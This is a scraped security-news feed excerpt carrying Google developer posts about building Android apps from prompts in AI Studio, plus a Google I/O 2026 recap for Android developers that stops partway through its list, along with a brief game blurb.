<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[What Surrounds Us will make you think a lot about circles]]></title>
<description><![CDATA[What Surrounds Us takes its title literally. You play as a circle surrounding a hole in its middle - it looks like a donut with frosting. You work together with other sentient moving circles, sometimes helping them joyfully meet with others. And you traverse a large map that's composed entirely o...]]></description>
<link>https://tsecurity.de/de/3693908/it-nachrichten/what-surrounds-us-will-make-you-think-a-lot-about-circles/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693908/it-nachrichten/what-surrounds-us-will-make-you-think-a-lot-about-circles/</guid>
<pubDate>Sat, 25 Jul 2026 14:11:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What Surrounds Us takes its title literally. You play as a circle surrounding a hole in its middle - it looks like a donut with frosting. You work together with other sentient moving circles, sometimes helping them joyfully meet with others. And you traverse a large map that's composed entirely of, you guessed it, a […]]]></content:encoded>
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<title><![CDATA[Build native Android apps in Google AI Studio]]></title>
<description><![CDATA[Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

    Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barr...]]></description>
<link>https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:46 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd6QUmqCnkvDT9M0IoWA6y_752MRk01nHVQOa644yYkgoMGMDk8Dy6ow6X4SqFzzODP-a1kRaNcuF-1ZyR_lk5fTfdbuEMKDvuX4s7LFaGNuMswzvMCFoYeaQ3RLf2OZPYUWN5BsnqRIsmDub85hpYZNGY7AsaHCsHlfkxLqfqm0PozMhkyqK4i6WfgGM/s2048/GoogleForDevelopers-AndroidCombo2-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s4209/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s16000/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"></a></div><br><div><br></div>

    Starting today <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.</div><div><h2>The power of native Android</h2>While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to <a href="https://developer.android.com/studio/gemini/create-a-new-project-with-ai">quickly create new projects with Gemini in Android Studio</a> directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.<br><h2><span>A seamless, end-to-end workflow</span></h2>
    We have streamlined the entire development lifecycle so you can focus on your idea: </div><div><b><br></b></div><div><b>1. Create your app and iterate in the cloud:</b> Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWOTqLBbAXBibOw5wN_-49Q21RuGxwPjhQESK5r3KctKIPz1uV4dg0_LiK0w6xxdvbLECzMHzQk-kQO9h1VdflTPKi3wM9sKrwZvLcPbtISBnL2H4acnG8gpEuPtbxpDHexKi4S8Eg_hcQv1_dZOCh78pFGi27aiWHMYZc1gsDA_Iq7SRbVRUkHhngrgw/w640-h544/AI_Studio_creation_step_v2.gif"></div><i><div><i>Use the embedded Android Emulator to create and edit Android Apps right in the web browser</i></div></i><div><br></div><b>2.</b> <b>Install instantly: </b>Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHMqfor305bPNhs_X2ahAxG8QmtpxtLKPrq44Uh4q1OpdsZyDlAuIyKJJDk-2v75-ErSLNp8yCyHQZn-6IQ-mkz8mfedEFtEJuD6VILIhtt8ypGpXmRuqM9LoJDDNnn-xrX3_Cr2MRUUcaEhVpJgCsjrjz-kwHHQeIhq8celQjg5Rt5_S5-j-_eSYpYaU/w640-h544/AI_Studio_Install_v2.gif"></div><div><i>Install the app on your Android device</i></div><div><br></div><b>3. Streamlined Publish to Google Play: </b>Using your <a href="https://play.google.com/console/signup">Google Play developer account</a>, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGamXSrq6MNtz-PUt17netBXi_JiOMVERsoYV2mEArG8x5f-zCbU8WwTTaClpruCTsN4o3xeyMylDJLaWe0yCteqZJghc6sEXLYwoLPbTtnoa7761JVR_XEbm2Fj20IX142L2mGzU39vuNwLVVw0bDiSwICFelQZhxO63sG9N3GCo8Xx8wHY6gPEDj8c/w640-h544/AI_Studio_Play_v3.gif"></div><div class="separator"><i>Publish the app to an internal test track in Google Play</i></div>

    <br><div><b>Seamless app development handoff </b></div><div>As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to <a href="https://developer.android.com/studio">Android Studio</a> by downloading a ZIP file or exporting it directly to GitHub.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNTwSv8o6QwB9QYZS_OezD7WhWQZiShTEu5aJz6_oGUfOu-2RQWmANs0jgeC1G1jrsZauVbeWzLHkjoZa_Ai_cjKvgbB_-Qzqh8-obzcNf9zKTJSG4AfvXTogb0xsCxcHRS4P-LHFKk1pm8sTdDjIn8A5b9vX8GRRvHrCvN9_xoPm6hPzN1rct5Aph3Zc/w640-h206/AI_Studio_Download.png"></div><div><span><i>Download zip file of Android app project files</i></span></div><div><span><i><br></i></span></div>When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend <a href="https://developer.android.com/gemini-in-android">Gemini in Android Studio</a>, which features models designed with Android in mind, or Antigravity, which integrates <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.</div><div><h2>Start building today</h2><div>To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:</div><div><ul><li><b>Personal utilities and simple social apps: </b>You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.</li><li><b>Hardware-enabled experiences:</b> Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.</li><li><b>AI-powered experiences: </b>You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.</li></ul></div><h2><span>What’s Next?</span></h2>
    <div>We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:</div><div><ul><li><b>Managing Google Play Test Tracks: </b>Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. </li><li><b>Firebase integrations: </b>Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.</li></ul></div><div><br></div><div>Head over to <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> right now to start building. Here is some inspiration to get you started… </div><div><br></div><table border="1">
        <tbody><tr>
            <td colspan="2">Turn your Google Pixel Watch into an aviation assistant</td>
        </tr>
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            <td>
                <strong>Prompt:</strong><br>
                <div>Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.</div>
            </td>
            <td><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRi7_vRI0TgaUYUE-g6kX-Gbg5Vf8ZVNY0H5n-2p8Ml32hyphenhyphenFvWAjp5re6AWpFKHLv1-rokBy_qfXexN61uQ9bpeDE_1DKfTrY3CkepiZMkNIEC5UlvBYng_OqersnyVS5Nu_zCuJJQ2w4NBaxWDC8duVnC0ILvWEpeg49N7aoJh1z6o_-BJHfBCnZKpz0/s320/wearOS_ai_studio.gif"></div><br></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">Interactive Harmonium app on Google Pixel Fold</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.</div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8hUGuJaj76omAAgO2RqZKZ_qGvgThfE0tKA-99BJ82G2UOw8h1qT5H7sM5C7n_k2tN5CD0LpJyOFor3HefsKarRPmWTo35ltnDihv2MsddEUcZN5t5fgeJWuJ60Y3XCEqqLhd7gkGyAbM6vnGau0PLE8BohPat8lQ-63fQLudrFUVRVpkFUJ9wMFX1oc/w179-h200/Tiny%20Harmonica%20demo.gif"></div></td>
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    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">An Android app for guitarists to become better musicians by jamming to backing tracks </td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div><div><span>Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.</span></div><div><span><br></span></div><div><span>The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.</span></div><div><span><br></span></div><div><span>Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.</span></div><div><br></div></div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2pWobL4G7-4deWwvMpRmtfHG1OuXyc_bHwq6fPszYT1Vztm4g_HaN28PVg6Hwd3_N2Qd82HS1QtpUGKCTUFiCuLBwMpcA-8sMC6dJtSDGKEVAaV1kxumYMZi3kTB9NnUIEf9xQPKyyfvKb8MZUyNGnYNAEHTxyHpWCEvN2xgQsj5X09LW_FHU1n0aJQg/w221-h400/guitar_app_AI_Studio.gif"></div></td>
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    </tbody></table>

    We are looking forward to seeing what you build next!</div><div><br></div><div>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
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<title><![CDATA[17 Things to know for Android developers at Google I/O]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP, Product Management, Android DeveloperToday at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcemen...]]></description>
<link>https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:45 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP7OJeCTRC-RN9j39-rULmU26qB-lZoyIZjjDrq07Z7b5GsfHz3q18ftSgcWReGBgIBkp03B6BVghzWllOC38o4jckzzq-e4a8R23ISeegev98zubhGXbIzhTZaqbCTaPLJC2zkxKYvvNspcM4yXkk94f6PEQHpdyMvlpwogicTWQRn3GEksJHOTQDIG4/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><div class="separator"><div class="separator"><i>Posted by Matthew McCullough, VP, Product Management, Android Developer</i></div></div></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><div><br></div>Today at <a href="https://io.google/2026/">Google I/O,</a> we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also <a href="https://www.youtube.com/live/KvTRMSa1w4E?si=QBAxNvihPwJCJUuS">see what was announced last week</a> in <a href="https://developer.android.com/events/show">The Android Show: I/O Edition</a>. Stay tuned over the next two days as we dive into all of the topics in more detail!<h2><strong><span>Build High Quality Android Apps Using Agents</span></strong></h2>

  <h3><strong><span>1: Android CLI: helping you build with any agent, LLM, and tool</span></strong></h3>
  <a href="https://goo.gle/CLI_IO26">Android CLI is now stable</a>. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new <a href="https://developer.android.com/tools/agents/android-skills">Android skills</a>, which enables agents to execute end-to-end UI tests under your direction. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.    <p><span></span></p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXrW3yDK9uH_I8MDyVxgYbPAXfrNTJvlMkXhaZFrM1X9ob0LvQbGe_ZC6anUeO_VNd181iptI_MIuEEpX-9GZdf6ZTJCN-WHpPzDCLOeSblo8vrjliSZ0rRrHwIsERWBjbbosP-M_WvA2pva9mF5FWVygAwQbdiW3SLZgJj9TpRIruG4H-ILsvSq_b4dc/w640-h442/agy-android-cli%20(2).png"></div><div class="separator"><span><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></span></div><p></p>

  <h3><strong><span>2: Build production-ready apps with ease in Google AI Studio</span></strong></h3>
  Developers and creators can now <a href="http://android-developers.googleblog.com/2026/05/build-android-apps-google-ai-studio.html">build native Android apps, simply with a prompt in Google AI Studio</a>. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.<br><br><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdRaw1v6rolr4alo0C6AWKdFchsMEQgtOGfmk2Ramb0IoOB7smDcVU3yC7YJMkvVQuCPJ9vQW53tQjaV-5wcgOGzMtFDmb_Jbv40an1kvQdqYburXnsONvLqckKL2MWuShi3XmQEstW761oOLjujOk3FMsh3FyAiy5-Pe7xdTwFdfkWOmEnHhQfUJhtCo/w640-h544/image1.gif"></div><i><div class="separator"><i>Use the embedded Android Emulator to create Android apps in Google AI Studio</i></div></i></div><h2><strong><span>3: Accelerating AI coding assistance with Android Bench</span></strong></h2>
  <a href="http://d.android.com/bench">Android Bench</a> is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements. <h3><strong><span>4: Convert iOS apps to Android with the Migration Assistant in Android Studio</span></strong></h3>
  The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>. </div><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK7UKI_nzS7gOkDXYONAjCNbQ4eSqlgT8qqMT5D4qf0OjQUNtxj4Urpq-eTROMEDgrqLKGlwMm_lHA7ayG_BC1DkitQI1ZKsF5gYr-mPIxFUsz_8JPcVHFAtnHZoO2CrVjMEvJrqvBz8_WU1I0T1P2diDprR2B47PcA21oS3RLtbgrhmrpiWV-MAw9ks4/w640-h360/image9%20(1).gif"></div><div class="separator"><i>A sneak peek of the Migration Assistant converting an iOS app into a native Android app</i></div>

  <h2><strong><span>Building AI Into Your Apps</span></strong></h2>

  <h3><strong><span>5: Building Intelligent Apps with generative AI</span></strong></h3>
  Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new <a href="https://goo.gle/ADK_IO26">Agent Development Kit (ADK) for Android</a>, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the <a href="https://developer.android.com/ai">developer documentation</a>, and watch the technical deep dive session where we showcase all these technologies.

  <h3><strong><span>6: Experiment with AppFunctions today</span></strong></h3>
  AppFunctions is an <a href="https://developer.android.com/reference/android/app/appfunctions/package-summary">Android platform API</a> with an accompanying <a href="https://developer.android.com/jetpack/androidx/releases/appfunctions">Jetpack library</a> to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the <a href="http://goo.gle/eap-af">Early Access Program</a> and start experimenting using the <a href="http://d.android.com/ai/appfunctions">API guidance</a>, <a href="https://github.com/android/appfunctions">sample</a>, and <a href="https://github.com/android/skills/blob/main/device-ai/appfunctions/SKILL.md">skill</a> today.

  <h2><strong><span>The Future is Adaptive</span></strong></h2>

  <h3><strong><span>7: Android is now Compose First; Views are now in maintenance mode.</span></strong></h3>
  Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in <a href="http://android-developers.googleblog.com/2026/05/android-ui-development-is-compose-first.html">our blog post</a>. <br><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq9kh5gxOfSdY2w9ZeKdWropXpqP7rj4KtodIZA5B_j7ujQu-blrsQKKC0lI4VEsEycpLEwsZeJhHaNOY1Xe9DrIHDwVszYfQN0GQlwxz8xoVfg1oiIr9zNlUyqqdCl2M7pyHoHgVvC7omKRthmXNaO3GE5Q15XeZ1ALiugszd8qHxpWuHo2Eh79zYW4M/w640-h416/image5.png"></div><div><div><i>Build Android UI with Compose</i></div><h3><strong><span>8: Building seamless Android experiences across devices with Jetpack Compose</span></strong></h3><div>The Android ecosystem is now <a href="https://goo.gle/AdaptiveApps_IO26">Adaptive by Default</a>, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with <a href="https://developer.android.com/googlebook">Googlebook</a> and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. <a href="https://developer.android.com/compose">Jetpack Compose</a> is the definitive engine for this transition, offering core tools like our latest <a href="http://goo.gle/nav3">Jetpack Navigation 3</a> release, new experimental <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid">Grid</a> and <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox">FlexBox</a> layouts, enhanced non-touch input support, and <a href="https://developer.android.com/media/camera/camerax">CameraX</a> for correct camera previews across any window size. Furthermore, new <a href="https://developer.android.com/tools/agents/android-skills">skills</a> in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever.

  <img src="https://blogger.googleusercontent.com/img/a/AVvXsEi3DD3G6IUrmOwYh7bMq0uieBvGL8li2W48YnUfQfa3ZXy2kD7QvPorNfAyCSmFlBs4q0csXDqmZjhyGf8UHFE2pUNjvqxLaaJhmm6QpSBumq2YkMHI1jyiTNfh5WQhEEY9hP6vWhcbbwflygdTwYzoIdnuIqoht0S6iGKk4pVCnxL2wVXYBMBlcdeneD8"><i>Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.</i></div><h3><strong><span>9: Create seamless experiences for Googlebook</span></strong></h3>
  Last week we announced <a href="https://developer.android.com/googlebook">Googlebook</a>, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant <a href="https://developer.android.com/design/ui/desktop">design guidance</a> and <a href="https://developer.android.com/docs/quality-guidelines/adaptive-app-quality/experiences/desktop">developer guidelines</a> for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtH3cjiXICi8dNCtQTDV9PTyjt4wPQBl1xA9XGKGU6FmqLRuBm9YyH7HNQsydD6H6F2GIPw2TdUsFyeu2xMFUO2Jk36k5QXjuWNdm_VE8AQftq2w2m0RPFyYfyZjTppSOjzuOEpJMzF08t9V0YZr-xI7mu31uvcRItugwvVxPUBouSmOXt1MsqbB1WPC0/w640-h360/image3.png"></div><div><div><i>New Desktop Android Emulator</i></div><h3><strong><span>10: Unified widget development experience with Jetpack Glance</span></strong></h3>
  Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow. <br><br>The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.</div><div><br></div><div><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA5s4g4hCW89qdeC2oqrTtxh6q7t9q3-wkOSt3tfVzCT3vhLUd1GMYJrhCjK04O2jyxBGl0R2pclnRq3Kb0f0Td-hV9aukKvZQTfGpGJS6GLK0MqUkpVW_0qiNC1eMGe6NPPhlCHrnQWFYhmbdSzpDnUHh5tjvpmUzZOvY2w_dX1LBnpNctSRmeahXUl4/w640-h320/blog_widgets.gif"></div><div><i>Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.</i></div><div><i><br></i></div><div><strong><span>11: Expand your reach on the road with Android for Cars</span></strong><br>To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized <a href="https://developer.android.com/training/cars/apps/media">templated media apps</a> for both platforms. We're introducing new <a href="https://developer.android.com/design/ui/cars/guides/components/overview">components</a> and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; <a href="https://docs.google.com/forms/d/e/1FAIpQLSf0z4Nfw8wrloVhlgHDpLgdkg4WXsFj9ni5c1pw0qTvJ3Q4fQ/viewform">apply now to the early access program</a> to publish in these beta categories and learn more about the latest updates in our <a href="http://android-developers.googleblog.com/2026/05/android-for-cars-unifying-platforms-premium-experiences.html">blog</a>.<h3><strong><span>12: Accelerate your development with Android XR Developer Preview 4</span></strong></h3>Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with <a href="https://goo.gle/XRSDK_IO26">Developer Preview 4 of the Android XR SDK</a>. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the <a href="https://goo.gle/Catalyst_IO26">Android XR Developer Catalyst Program</a>, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or <a href="https://goo.gle/XRSDK_IO26">read our blog</a> to see how these updates help you build experiences across the ecosystem.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyjbgGH7RwGkOkQLoXeLd88Vo7cXRjHLBSRokBWkzvYQUrqqbfrTXukM1u_SuGq0-AoXRPoGABpCOF-HMad4-aoNvXjTVyNXgGpbffTlSQMbTaXJva1c2GiUBx1fhC4fCCd0XO9XFzKNzs6edNqo0RAx-p2ZNXy0l-StJh7AxhyphenhyphenrXi-lqe-jXL0n8oprs/w640-h360/Aura%20Geospatial%20Tour%20Demo%20-%20Draft%2001%20(1).gif"></div><i><div><i>Early preview of the Geospatial API  in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.</i></div></i><h3><strong><span>13: Android is your new home for professional-grade media experiences</span></strong></h3>
